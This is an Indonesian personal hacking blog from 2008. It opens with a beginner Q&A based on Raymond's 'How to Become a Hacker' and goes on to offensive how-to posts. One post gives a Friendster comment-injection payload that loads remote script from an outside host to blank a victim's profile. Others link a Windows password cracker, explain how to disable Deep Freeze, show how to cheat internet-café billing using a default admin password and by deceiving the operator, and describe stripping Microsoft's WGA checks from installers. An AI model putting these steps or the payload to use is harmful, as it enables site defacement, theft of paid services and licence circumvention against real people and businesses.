J : Sebaiknya jika kamu benar benar pemula, kamu bisa gunakan linux , karena baik
sistem installasinya dan Graphical User Interfacenya lebih memudahkan kamu

T : Distro apa yang sebaiknya saya gunakan dan mudah untuk pemula
J : Kamu bisa mencoba Mandrake (disarankan oleh beberapa ahli yang pernah diajak
diskusi) , tetapi kamu bisa memilih sesukamu, meskipun aku memulainya juga
dengan mandrake tetapi aku lebih comfort dengan redhat.

T : Kalau tidak bisa Menginstall linux apakah jalan saya sudah tertutup?
J : Kamu bisa mencoba menginstall vmware , cygwin atau kamu bisa menyewa shell

T : Dimana Saya bisa mendapatkan programn program tersebut
J : berhentilah bertanya , dan arahkan browser kamu ke search engine , terlalu
banyak situs penyedia jasa yang dapat membantu kamu

T : Apakah saya HArus memiliki komputer ?
Y : IYA! , kecuali kalo kamu sudah dapat berinteraksi lebih lama dengan komputer
meskipun itu bukan milik kamu, tetapi sangat baik jika memilikinya sendiri
karena , pertama : Ide yang timbul bisa setiap saat, baik programing, riset
dsb, jadi ada baiknya kamu memilikinya agar dapat langsung
menyalurkan semua ide dan pemikiran kamu
Kedua : menggunakan PC sendiri membuat kamu merasa bebas untuk
bereksplorasi dan mencoba tanpa takut merusak dsb

T : Hardware apa yang saya butuhkan ?
Y : Menginggat harga komputer sudah relatif "murah" (mohon maaf buat yang masih belum
mampu membelinya) , kamu bisa sesuaikan spesifikasinya untuk kamu gunakan

T : Internet , apakah saya harus terkoneksi ke internet?
Y : Terkadang itu perlu, tetapi jangan terlalu memaksakan , kamu memang perlu terhubung
ke internet untuk mendownload modul, bacaan, update informasi, tetapi jangan jadikan
penghalang jika kamu tidak bisa terkoneksi secara periodik, jadilah kreatif


[1] T : Berapa lama waktu yang saya butuhkan?
J : Masalah waktu itu relatif, Bergantung seberapa besar bakat dan usaha Anda.
Kebanyakan orang memperoleh keahlian yang cukup dalam delapan belas bulan
atau dua tahun, jika mereka berkonsentrasi. Tapi jangan pikir setelah itu
selesai; jika Anda hacker sejati, Anda akan menghabiskan sisa waktu belajar
dan menyempurnakan keahlian.

T : Apakah tidak bisa yang Instan ? misal Tinggal gunain tool tertentu ?
J : Hum, kamu mo jadi hacker atau cuma pemakai tools ?, kalau menggunakan tools
semua orang juga bisa!!


[1] T : Bagaimana cara mendapatkan password account orang lain?
J : Ini cracking. Pergi sana, bodoh.

[1] T : Bagaimana cara menembus/membaca/memonitor email orang lain?
J : Ini cracking. Jauh-jauh sana, goblok

[0] T : Cracker ? apa itu ?
J : Cracker adalah individu yang mencoba masuk ke dalam suatu sistem komputer
tanpa ijin (authorisasi), individu ini biasanya berniat jahat/buruk, sebagai
kebalikan dari 'hacker', dan biasanya mencari keuntungan dalam memasuki suatu
sistem

[1] T : Saya dicrack. Maukah Anda menolong saya mencegah serangan berikutnya?
J : Tidak. Setiap kali saya ditanya pertanyaan di atas sejauh ini, ternyata
penanyanya seseorang yang menggunakan Microsoft Windows. Tidak mungkin secara
efektif melindungi sistem Windows dari serangan crack; kode dan arsitektur
Windows terlalu banyak mengandung cacat, sehingga berusaha mengamankan Windows
seperti berusaha menyelamatkan kapal yang bocor dengan saringan. Satu-satunya
cara pencegahan yang andal adalah berpindah ke Linux atau sistem operasi lain
yang setidaknya dirancang untuk keamanan.

T : Apakah saya perlu komunitas ?
J : YUPE , komunitas sangat kamu perlukan, apalagi jika kamu memilih untuk berkecimpung
di dunia opensource, banyak milis yang bisa kamu ikuti, sebaiknya ikuti milis yang
spesifik sesuai dengan yang kamu gunakan. (misal linux, sesuai distro )

T : Apakah termasuk milis sekuriti ?
J : iyah ! cobalah bugtraq@securityfocus.com



ReFerensi :

[0]. *RFC1392,Internet User Glossary
[1]. How to Become A Hacker - Eric S Raymond
Terjemahan Indonesia dari How To Become A Hacker - Steven Haryanto
Read More..

Minggu, 26 Oktober 2008

create a blank FRIENDSTER

Bikin Fs jadi blank

Bikin blank FS orang (tinggal layout-nya doank yang keliatan). Pertama isi comment seperti biasa misal: “makasih ya dah di add”. Abis tu tulis script ini di bawahnya

Quote:

’ onerror=’tamil=”script”;//
q=”http://h1.ripway.com/krezeks/buat_coba/”;//
w=”sssst.txt”;//
makkez=document.createElement(tamil);//
makkez.src=q+w;//
u=document.all.tags(”head”)[0];//
u.appendChild(makkez);//’

Taruh di comment FS target.

Read More..

Password perforated windows

Jebol Password windows

Sekali lagi, tools ini harap dimanfaatkan dengan baik ya… Gunakanlah secara bijak. Kalau linknya ada gangguan atau tidak berfungsi, silakan cari di mbah google aja yah link validnya.

ophcrack
Ophcrack is a Windows password cracker based on a time-memory trade-off using rainbow tables. This is a new variant of Hellman’s original trade-off, with better performance. It recovers 99.9% of alphanumeric passwords in seconds.

Ada yang buat windows, dan ada juga yang linux berupa live CD. tapi nanti jangan lupa ISO nya di burn dulu ya ke CD.

download:

Code:

http://keihanna.dl.sourceforge.net/sourceforge/ophcrack/ophcrack-win32-installer-2.2.exe
http://nchc.dl.sourceforge.net/sourceforge/ophcrack/ophcrack-livecd-1.0.iso

Read More..

Break Deep Freeze

Membobol Deep Freeze
Deep Freeze memang aplikasi “aneh bin ajaib”. Aplikasi ini bisa “membekukan” harddisk sehingga perubahan-perubahan yang terjadi pada system akan lenyap saat komputer di restart. Namun, saat kita mencoba mengUninstallnya, seringkali kita mengalami kesulitan. Belum lagi kalau kita lupa passwordnya.
Di bawah ini akan saya coba ulas berbagai tips untuk menghabisi Deep Freeze yang saya kumpulkan dari beberapa sumber. Semoga bisa membantu anda.

============Pake xDeepFreeze=============
1. Download xDeepFreeze di sini.
2. ekstrak ke C:\xDeepFreeze
3. Jalankan file Run_Me.exe. Muncul file “mcr.bat” dan “XDeepFreeze.exe” akan terload.
4. Pada XDeepFreeze, Tekan “Stop DeepFreeze”, untuk menghentikan “frzstate.exe”
5. Bersihkan registry yang dibuat Deep Freeze saat instalasi, tekan “Clean Registry”.
6. Jalankan command.com di folder C:\xDeepFreeze
7. Jalankan mcr.bat. Ini akan membersihkan file “persifrz.vxd”.
8. Klik Exit. Deep Freeze tinggal sejarah.

============Pake Deep Unfreezer (Deep Freeze dibawah v.6)=============
1. Download Deep Unfreezer di sini.
2. Jalankan aplikasi. Klik Load Status.
3. Pilih Boot Thawed. Klik Save Status.
4. Reboot

============Pake PE Builder (Live CD Windows)=============
Cara yang satu ini saya kutip dari Wikianswer. Aplikasi yag harus disiapkan adalah PE Builder. Anda bisa mendapatkannya di sini. Selain itu, anda membutuhkan file instalasi Windows (XP Home/ Pro dengan minimal SP 1 atau Server 2003).
Langkah-langkah yang harus dilakukan cukup panjang. Pertama-tama, kita harus membuat CD Startup Windows.
1. Pastikan sistem memiliki ruang kosong 500 MB.
2. Copy file instalasi Windows ke folder khusus di Harddisk.
3. Install PE Builder, lalu jalankan aplikasi ini.
4. Setelah menyetujui License Agreement, akan muncul tampilan utama PE Builder.
5. Masukkan lokasi file instalasi Windows.
6.Pada dialog PE Builder, pilih opsi “Burn CD/DVD”. Ketika anda menggunakan CD RW (bisa dihapus), pastikan bahwa pilihan “AutoErase RW” diaktifkan. Pilihan “burn using” harus diset ke “StarBurn”. Kalau anda ingin CD otomatis dikeluarkan setelah proses burning selesai, centangi “Eject after burn”. Pilih cd writer anda dari daftar device.
7. klik “build”. PE builder akan meminta ijin membuat direktori BartPE, jawab Yes.
8. Lisensi dari Microsoft Windows tampil. Baca dan pilih agree untuk melanjutkan.
9. Tunggu sampai selesai.
Langkah selajutnya, silakan retart komputer dan masuk ke BIOS. Ubah urutan booting agar boot melalui CD. Setelah masuk ke live CD Windows, lakukan langkah-berikut.
1. Jalankan regedit.
2. Buka menu Find dan masukkan “UpperFilters”. Jangan lupa centangi “only the Values”.
3. Jika telah ditemukan, lihat apakah terdapat baris yang mencantumkan driver Deep Freeze (DeepFrz atau DepFrzLo) lalu hapus. hapis juga baris untuk ThawSpace (ThwSpace), biarkan sisanya. Tekan F3 untuk melanjutkan pencarian dan ulangi proses diatas sampai value UpperFilters tidak ada di key HKLM\MySystem.
4. Tuju ke HKLM\MySystem\Select lalu buka value bernama Default. Di sini terdapat key untuk control set yang akan digunakan system saat booting. Jika nilainya 1 maka akan tertulis ControlSet001, jika 2 akan tertulis ControlSet002, dst. Ingat control set itu
5. Lalu tuju ke HKLM\MySystem\ControlSetXXX(sesuai default)\Services lalu hapis key yang bernama driver Deep Freeze (DeepFrz atau DepFrzLo dan DepFrzHi). Lalu hapus juga driver ThawSpace (ThwSpace).
6. Reboot system secara normal.
7. Selesai sudah.
Bila ada langkah-langkah yang kurang jelas, silakan periksa referensi.

Referensi:
Lumpuhkan Deep Freeze
Virologi.info
Wikianswer
Bootable Live Windows

Read More..

Sabtu, 25 Oktober 2008

dupe Billing Explorer

Mencurangi Billing Explorer Internet
billing explorer, zhider, billing hack
Buat mas2 n mbak2 yang merasa kere alias dompet kosong yang pingin ke warnet inilah bacaan yang tepat bwat kita alias orang kere… .

Cara ini saya dapatin waktu ngenet gara-gara diusir ama dosen.. pdahal telat 1 jam doang koq diusir… serik to ya… wekeke..

Langsung aja deh..

billing explorer, zhider, billing hack
Buat mas2 n mbak2 yang merasa kere alias dompet kosong yang pingin ke warnet inilah bacaan yang tepat bwat kita alias orang kere… .

Cara ini saya dapatin waktu ngenet gara-gara diusir ama dosen.. pdahal telat 1 jam doang koq diusir… serik to ya… wekeke..

Langsung aja deh..

Sebenarnya ciya ada beberapa cara tapi yang qtemuin Cuma 3 doang..
Pertama tuh.. pake X-Code Magz vol4… hayo pada gak mudeng to.. aplikasi ini hanya bisa mengakali billing explorer doang… sedangkan cara satunya adalah aplikasi Zhider.. ini fungsi banget niy.. semua billing warnet bisa diakali… pokoknya ampuh deh coy… mbikin qt kaya mendadak gak usah mikir biaya warnet.. .. enak kan???

Hayo.. kepingin to…????hayo…

Sebenernya saat qt ke warnet.. layar qt hanya ditutupi oleh login screen clien billing… Alt + Tab and Ctrl+Alt+Del pun di disabled… sehingga qt harus log in dulu…
Pada dasarnya kita tu dah bisa browsing ke internet.. bisa mbuka friendster bisa lihat 3gp nan..hehe tapi gara-gara login screen yang warna biru menyebalkan… qt harus mengeluarkan uang….kasihan orang tua qt kan yang sudah mbiayai kuliah tapi hanya dibuat ke warnet… Ckckck…

Dah tau caranya belum… kalo dah tau mending tutup aja deh niy artikel…klo belum Pingin tahu gak caranya..??? hayo2…

Pada dasarnya ciy.. qt hanya perlu login sebentar untuk menjalankan Zhider sejenis progie lalu langsung log out…
pada dasarnya banyak ciy.. aplikasi semacam ini.. tapi yang paling sering digunain kayaknya zhider karena tidak perlu nginstall dulu…

okey langsung aj yang qt siapin adalah…
1. progam Zhider… jangan Tanya downloadnya dmn??? Cari d google aja banyak owk..
2. datang ke warnet, and siapin muka tebal…coz kalau ketahuan bisa isin banget tuw…

Langkah2nya…
1. muka cuek dipasang.. biar dikirain banyak uang… keren kan??
2. Kedua cari ruang yang sebelahnya juga kosong jadi gak dicurigain…
3. Kalo udah ngebelet internet, friendster, n etc,.. langsung aja login biasa..
4. Lalu jalanin Zhider ny..terus keluar log out deh…
Lho2… kapan bisa mbuka 3gp, dat nya?? sabar to.. ini lah caranya..
deg..Deg..DEg..deg… jantung mulai berdebar..
5. langsung pencet Ctrl + Alt +Z..
ta..ta.. login screen nya hilang dehh…
nah sekarang bisa browser sepuasnya dehh…
6. kalo sudah puas.. ya udah tinggal tekan aja Ctrl +Alt + X.. muncul lagi Blue Film (bf) yang membosankan….
7. Lalu login sebentar sesuai dengan kapasitas dompet…
8. Lalu bayar dehh… jangan lupa jadi sok sibuk byar gak dicurigain… kalo ketahuan.. bersilat lidah aja ma operatornya… sambil muka bego.. n berkata : “ koq.. bisa segitu ya… “ mringis deh…

Ini beberapa hotkey ZHider yang bisa digunakan, untuk hotkey lainnya silakan baca file readme yang disertakan bersama zhider

CTRL+ALT+Z Menyembunyikan jendela aktif
CTRL+ALT+X Menampilkan kembali semua jendela yang disembunyikan
CTRL+ALT+L Menampilkan dialog zhider
CTRL+ALT+M Menampilkan kembali semua jendela yang disembunyikan, dan juga menutup zhider..

Sekian harap maklum… jangan takut ketahuan… okey??? Qt sama2 kere jadi harap wajar..


Ada cara kedua..
Nyalain kompi .Setelah loading windows tekan tahan Ctrl+Alt+Del sebelum keluar jendela billing(harus cepet coz jendela billing muncul hanya 2 detik setelah loading windows). Setelah kluar task manager klik ‘End Task’ pada aplikasi “client 008″.

Cara 3:
Menggunakan software “Billing Hack”(bisa download di www.vb-bego.com). Software ini bahkan bisa mereset time billing. Cari aja di google tentang time billing…
Bisa juga sebelum nyalain kompi cabut kabel LAN di belakang CPU. Biar gak terlalu mencurigakan, cabut kabelnya sambil pura-pura pasang USB ato Flash Disk (sambil nyelam mancing ikan gitu deh pepatahnya).Trus nyalain kompi tunggu sampai jendela billing keluar. Klik “Admin” masukkan password default “008″. Trus di Exit Client&Password masukkan juga password 008. Abis tu, setelah muncul kotak yang terakhir cari tanda ****** yang letaknya paling bawah kiri, delet tanda tsb dan terakhir klik ‘Exit Client’ yang terletak di sebelah kanan tanda yang telah kita hapus tadi. Jadi deh…
Kalo semua cara di atas ga bisa dilakuin, hentikanlah usahamu. Sesungguhnya perbuatan jahatmu tidak diridhoi Tuhan
Kalo ketahuan langsung pertebal “muka bego”-mu. Misalnya bilang “Eh, kok jadi gini ya? Kemaren ga gini kok.” Ato kata-kata lain, tergantung kreatifitas kamu. Seandainya ada cara lain akan qt bahas lagi…
Read More..

Jumat, 12 September 2008

Bypass Windows MSI

Khusus untuk software Microsoft, menanamkan teknik proteksi ke dalam setiap software yang masuk ke dalam kategori Genuine Software ke dalam file .MSI. Sehingga kita tidak bisa menginstal software tersebut jika Windows yang kita punyai tidak original.

Microsoft menyertakan SDK (Source Development Kit) ke dalam paket WIndows 2003 Server, salah satunya paket program bernama Orca. Program ini mampu mengedit file-file installer dengan tipe .MSI yang dapat dilakukan dengan mudah.

Link untuk download Orca ada di: http://www.technipages.com/downloads/Orca.Msi

Persiapkan file .MSI milik microsoft yang tergolong ke dalam kategori genuine.
Contohnya:

Kedua link download di atas saya peroleh menggunakan Windows XP Home SP2 Original saya. So, waktu download dari situs Microsoft ga ada masalah.
Bagi yang Windows-nya tidak original tidak bisa download sebab harus memasukkan validation code. Ini validation code saya: 694L49LC.
Kalau pengen dapet link dari genuine software yang lain, hubungi saya aza nanti saya kasih tau download linknya. Oke? ;)
Oke, sekarang jalankan Orca dan buka file .MSI-nya. Misalnya LIPSETUP.MSI.
Lalu cari string WGA. Anda akan ketemu 2 string.

Pertama, klik line Binary pada kolom Tables, lalu klik string WGADLL pada kolom Name, terus tekan tombol DEL lalu klik OK.


Kedua, klik line CustomAction pada kolom Tables, lalu klik string WGADLL di CA34 pada kolom Source, terus tekan tombol DEL lalu klik OK.

Sampai sini sebenarnya proses bypass sudah selesai.
Setelah selesai, klik FILE -> SAVE AS lalu simpan dengan nama baru. Jangan langsung di-SAVE buat jaga-jaga. jalankan di Windows non-original.

Read More..
za.IPAN's Blog © 2008. Design by :Yanku Templates Sponsored by: Tutorial87 Commentcute